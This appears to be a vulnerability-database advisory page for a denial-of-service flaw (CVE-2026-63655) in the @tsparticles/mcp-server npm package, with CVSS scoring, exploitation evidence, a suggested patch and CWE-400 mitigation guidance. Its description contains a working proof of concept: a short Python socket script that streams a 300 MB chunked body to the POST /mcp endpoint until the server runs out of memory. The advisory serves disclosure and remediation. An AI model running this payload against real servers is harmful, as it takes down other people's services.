VulnerabilityPublished 9 Nov 2026

CVE-2026-63655: Unbounded HTTP Request Body Buffering in @tsparticles/mcp-server Leads to Remote DoS

Affects @tsparticles/mcp-serverSource GCVE Database

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Authoritative record:CVE-2026-63655· High 7.5

Not known to be exploited · CVSS 7.5 High : upgrade to 4.3.1 soon.

Data as of 9 Nov 2026, 23:24 UTC

CVSS 3.1 base score

7.5High

How severe the flaw is on the 0–10 CVSS scale.

Thin evidence

One scorer or none

CVSS scores by source
CNA (GitHub_M)	CVSS 3.1	7.5

EPSS: 0.4% chance of exploitation in 30 days – higher than 37% of CVEsExploit Prediction Scoring System: the likelihood attackers will use this flaw soon.
Patch: Available – fixed in 4.3.1

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Attack Vector: Network
Attack Complexity: Low
Privileges Required: None
User Interaction: None
Scope: Unchanged
Confidentiality: None
Integrity: None
Availability: High

Bold values are the worst case: easiest to exploit or largest impact.

Attack Vector: Network: The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed, up to and including the entire Internet. Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).
Attack Complexity: Low: Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.
Privileges Required: None: The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack.
User Interaction: None: The vulnerable system can be exploited without any interaction from any user.
Scope: Unchanged: An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.
Confidentiality: None: There is no loss of confidentiality within the impacted component.
Integrity: None: There is no loss of integrity within the impacted component.
Availability: High: There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Definitions: FIRST CVSS v3.1 specification.

Exploitation evidence

Disclosed: evidence found.
CVE published 4 Nov 2026
Detectable: no evidence on record.
No public nuclei template indexed
Weaponized: no evidence on record.
No public exploit code indexed in Metasploit or Exploit-DB
Exploited in the wildExploited: no evidence on record.
Not in CISA KEV and no source reports exploitation
Observed by OffSeq MirageSeen by Mirage: no evidence on record.
No attack traffic recorded by OffSeq Mirage sensors

A missing step is not evidence of safety. Sources: cve.org (opens in a new tab), the Metasploit, Exploit-DB and nuclei-templates index as of 9 Nov 2026.

Disclosed: The CVE record is public on cve.org. Its publication is t = 0.
Detectable: A public nuclei template can find exposed instances, for defenders and attackers alike.
Weaponized: A Metasploit exploit module or Exploit-DB entry exists (Metasploit scanner modules do not count), or CISA SSVC or the CVSS exploit maturity reports a public proof of concept.
Exploited in the wild: CISA KEV lists it, CISA SSVC rates exploitation active, or a source reports attacks.
Observed by OffSeq Mirage: OffSeq Mirage honeypot sensors recorded attack traffic for this CVE, or found exposed hosts without attack traffic.

Moments are spaced evenly, not to scale; a dashed line marks a gap of six months or more. Deltas count from t = 0. Sources that give only a date (CISA KEV, Exploit-DB, or a time of exactly 00:00Z) read “same day” rather than hours. Metasploit modules carry the flaw’s disclosure date, not their release date, and nuclei templates carry no date, so both appear above but not on the timeline.

What to do

Upgrade @tsparticles/mcp-server to 4.3.1.

Affected software

Product	Affected	Fixed in
npm@tsparticles/mcp-server	Affected <4.3.1	Fixed in 4.3.1

Check your own hosts for these packages with threat-finder (opens in a new tab), our free open-source scanner.

Description

### Summary The HTTP server mode of `@tsparticles/mcp-server` accumulates all incoming request body chunks into an in-memory `Buffer[]` array with no size limit before calling `JSON.parse`. An unauthenticated remote attacker can stream an arbitrarily large body to `POST /mcp`, exhausting the Node.js process memory and causing a Denial of Service. The official Docker image ships with HTTP mode enabled by default (`--port 3000` on `0.0.0.0`), making this exploitable without any special configuration in containerized deployments. ### Details The vulnerability exists in `integrations/mcp-server/src/index.ts` at lines 399–407. The `POST /mcp` request handler resolves a `Promise` that pushes every incoming data chunk into a `Buffer[]` array without checking the cumulative size, a `Content-Length` header, or any other guard: ```ts // integrations/mcp-server/src/index.ts:399-407 if (req.method === "POST" && req.url === "/mcp") { const body = await new Promise<string>((resolve, reject) => { const chunks: Buffer[] = []; req.on("data", (chunk) => chunks.push(Buffer.from(chunk))); // no size guard req.on("end", () => resolve(Buffer.concat(chunks).toString("utf8"))); req.on("error", reject); }); const parsedBody = body ? JSON.parse(body) : undefined; ``` The complete data flow leading to exploitation: 1. `index.ts:390` — HTTP server is created. 2. `index.ts:399` — `POST /mcp` branch is entered; no authentication is performed. 3. `index.ts:401-403` — Every chunk is appended to `chunks[]` without any byte-count check. 4. `index.ts:407` — The concatenated buffer is passed to `JSON.parse`. 5. `index.ts:416` — The server listens on `0.0.0.0`, exposing it on all network interfaces. There is no `Content-Length` validation, no body-size middleware, and no `413 Payload Too Large` response in the server source. The official `Dockerfile` (`integrations/mcp-server/Dockerfile`) sets `CMD ["node", "dist/index.js", "--port", "3000"]`, meaning Docker deployments run in HTTP mode by default without any additional opt-in. A suggested patch would be to track cumulative received bytes and destroy the request once a threshold (e.g., 1 MB) is exceeded: ```diff --- a/integrations/mcp-server/src/index.ts +++ b/integrations/mcp-server/src/index.ts @@ import { createServer } from "node:http"; import { randomUUID } from "node:crypto"; const PACKAGE_VERSION = "0.1.0"; +const maxRequestBodyBytes = 1024 * 1024; @@ if (req.method === "POST" && req.url === "/mcp") { const body = await new Promise<string>((resolve, reject) => { const chunks: Buffer[] = []; - req.on("data", (chunk) => chunks.push(Buffer.from(chunk))); + let received = 0; + req.on("data", (chunk) => { + received += chunk.length; + if (received > maxRequestBodyBytes) { + req.destroy(new Error("Request body too large")); + return; + } + chunks.push(Buffer.from(chunk)); + }); req.on("end", () => resolve(Buffer.concat(chunks).toString("utf8"))); req.on("error", reject); }); ``` ### PoC **Environment setup:** ```bash # Build the Docker image from the repository root docker build \ -f /path/to/vuln-001/Dockerfile \ -t vuln001-mcp \ /path/to/tsparticles-repo # Run with a 256 MB memory cap (matching the dynamic reproduction) docker run -d \ -p 127.0.0.1:3000:3000 \ --memory=256m --memory-swap=256m \ --name vuln001-mcp \ vuln001-mcp ``` **Exploit (Python PoC — `poc.py`):** The script uses chunked transfer encoding so only O(1 MB) of Python-side memory is needed, while the Node.js process accumulates every received chunk in its `Buffer[]` array. ```bash python3 poc.py --host 127.0.0.1 --port 3000 --mb 300 --container vuln001-mcp ``` Equivalent minimal request: ```python import socket s = socket.create_connection(("127.0.0.1", 3000)) headers = ( "POST /mcp HTTP/1.1\r\n" "Host: 127.0.0.1:3000\r\n" "Content-Type: application/json\r\n" "Transfer-Encoding: chunked\r\n" "Connection: close\r\n\r\n" ).encode() s.sendall(headers) prefix = b'{"jsonrpc":"2.0","id":1,"method":"tools/list","params":"' s.sendall(f"{len(prefix):x}\r\n".encode() + prefix + b"\r\n") chunk = b"A" * (1024 * 1024) # 1 MB per write for _ in range(300): # stream 300 MB total s.sendall(f"{len(chunk):x}\r\n".encode() + chunk + b"\r\n") ``` **Expected result:** - Baseline memory usage: ~24.9 MiB / 256 MiB. - After ~209 MB received, the server-side `BrokenPipeError` occurs as Docker's OOM-killer terminates the process. - `docker inspect vuln001-mcp` shows `State.OOMKilled = true` and `State.Status = exited`. **Dynamic reproduction confirmed:** OOMKilled=true was observed during Phase 2 testing with a 300 MB stream against a container limited to 256 MB. ### Impact An unauthenticated remote attacker who can reach the `POST /mcp` HTTP endpoint can cause the Node.js server process to consume unbounded memory, lea

CWE-400Uncontrolled Resource Consumption (opens in a new tab)
Class weaknessLikelihood of exploit: High
The product does not properly control the allocation and maintenance of a limited resource.
MITRE discourages mapping vulnerabilities to this broad entry; the root cause is usually a more specific weakness.
Architecture and Design
Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place.
Architecture and Design
Mitigation of resource exhaustion attacks requires that the target system either: recognizes the attack and denies that user further access for a given amount of time, or; uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed.
Architecture and Design
Ensure that protocols have specific limits of scale placed on them.
OWASP Cheat Sheets
File Upload (opens in a new tab)
OWASP ASVS 4.0.3
V12.1.1 (opens in a new tab)
Attack patterns
XML Ping of the Death (opens in a new tab)
Regular Expression Exponential Blowup (opens in a new tab)
Sustained Client Engagement (opens in a new tab)
From MITRE CWE, MITRE CAPEC and OWASP (Top 10, OpenCRE).

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Affected software

Description

WeaknessesCWE-400

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